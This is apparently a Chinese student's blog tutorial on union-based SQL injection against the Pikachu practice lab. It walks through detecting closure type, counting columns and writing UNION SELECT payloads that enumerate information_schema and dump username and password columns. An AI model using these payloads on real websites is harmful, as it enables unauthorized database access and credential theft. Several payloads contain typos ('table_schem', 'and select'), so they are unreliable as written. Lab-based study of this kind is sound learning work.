今年十八,喜欢SQL注入

简介: 今年十八,喜欢SQL注入

前言


🍀作者简介:被吉师散养、喜欢前端、学过后端、练过CTF、玩过DOS、不喜欢java的不知名学生。


🫒每日emo:怀揣着。。


Pikachu靶场安装


mirrors / zhuifengshaonianhanlu / pikachu · GitCode


Pikachu靶场作为为数不多的中文靶场,做得可以说是很优秀了。

进入此处路径,按注释修改

修改完成后浏览器访问

当然后缀按你们自己的命名而定。


SQL注入的顺序:


库名,表名,字段名,数据

首先明确SQL注入的前提:


1、我们输入的参数是可以修改的

2、参数可以被传到数据库中


判断闭合类型


单引号闭合


如果在输入1’后报错


首先观察报错信息,去掉最外面的一对单引号(因为报错的时候会自动在外面加一对双引号)


然后观察是否多了一个单引号


如果多,证明为单引号闭合


此时输入双引号则不会报错


双引号反之


数字型


输入例如1与2-1若返回结果相同,则为数字型闭合


也可以通过注释来处理

?id=1 # //get方法 url传参 #注释
?id=1 %23 //post方法 url传参 #注释

具体步骤


  1. 判断闭合符


按上述方法即可


  2.判断列数


联合查询


联合查询要求前后字段必须相等


同时在已知库名/其他,可以通过下述内容进行撰写


information_schema.schemata:记录数据库信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息的表

schema_name 数据库名

table_name 表名

column_name 列名

table_schema 数据库名


关于这里的两个数据库名,可以如下进行区分


schema_name 数据库名相当于是一个个房间



table_schema 数据库名 ,则相当于房间里的床


该概念引自

数据库中table 和 schema的区别 - panda521 - 博客园


原链接在此。


order by方法


根据username进行排序

select id,username,passwd from t_user order by username;

根据数字进行排序:

select id,username,passwd from t_user order by 4;

若第四个字段不存在,则会报错

?id=1' order by 4# 报错
?id=1 order by 3 # 不报错

可以推导出第一个查询语句有三个字段


注入流程


0、按上述方法判断闭合类型


1.查数据库名

?id=-1 union select 1,database(),1#

注意,此处的-1需要是一个在数据库中id字段不存在的值,否则第一条信息会占用显示位,导致无法看到咱们需要看的查询数据


2.查表名


group_concat(fileds)函数表示查询结果中的多条纪录合并为一行显示,默认使用逗号 分隔。

?id=-1' union select 1,group_concat(table_name),1 from information_schema.tables where table_schem=database()#

当然,也可以这样,直接

’1 union select 1,table_name from information_schema.tables where table_schem ='库名’#

好像也行


3.查列名


?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='user'#


4.查数据

?id=-1' and select 1,group_concat(concat(0x7e,username,0x7e,passwd,0x7e)),1 from user#

通过查询concat()可知:该函数将每一条记录的每一个字段拼接成一个字符串,0x7e表示~,作为一个分割符出现。

目录
相关文章
|
27天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
49 2
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
141 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
81 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
126 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
54 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
58 3
|
3月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
95 6
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
61 5
|
5月前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
98 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!